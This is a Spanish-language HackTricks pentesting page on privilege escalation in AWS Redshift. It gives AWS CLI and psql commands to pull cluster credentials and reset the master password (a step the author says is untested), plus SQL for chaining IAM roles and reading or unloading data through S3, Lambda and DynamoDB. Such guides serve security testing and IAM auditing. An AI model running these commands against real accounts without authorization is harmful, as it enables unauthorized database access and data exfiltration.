AWS - Redshift Privesc

Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Redshift

Para obtener más información sobre RDS, consulta:

pageAWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Con estos permisos, puedes obtener información de todos los clústeres (incluido el nombre y el nombre de usuario del clúster) y obtener credenciales para acceder a él:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Impacto potencial: Encontrar información sensible dentro de las bases de datos.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Con estos permisos puedes obtener información de todos los clústeres y obtener credenciales para acceder a ellos. Ten en cuenta que el usuario postgres tendrá los permisos que la identidad IAM utilizada para obtener las credenciales tiene.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impacto potencial: Encontrar información sensible dentro de las bases de datos.

redshift:DescribeClusters, redshift:ModifyCluster?

Es posible modificar la contraseña maestra del usuario interno postgres (redshit) desde la aws cli (Creo que son los permisos que necesitas, pero aún no los he probado):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impacto Potencial: Encontrar información sensible dentro de las bases de datos.

Accediendo a Servicios Externos

Para acceder a todos los recursos siguientes, necesitarás especificar el rol a utilizar. Un clúster de Redshift puede tener asignada una lista de roles de AWS que puedes utilizar si conoces el ARN o simplemente puedes establecer "default" para usar el asignado por defecto.

Además, como se explica aquí, Redshift también permite concatenar roles (siempre que el primero pueda asumir el segundo) para obtener un mayor acceso, simplemente separándolos con una coma: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, es posible llamar a una función lambda desde Redshift con algo como:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, es posible leer y escribir en los buckets de S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, es posible obtener datos de dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

La tabla de Amazon DynamoDB que proporciona los datos debe crearse en la misma Región de AWS que su clúster a menos que utilice la opción REGION para especificar la Región de AWS en la que se encuentra la tabla de Amazon DynamoDB.

EMR

Consulte https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización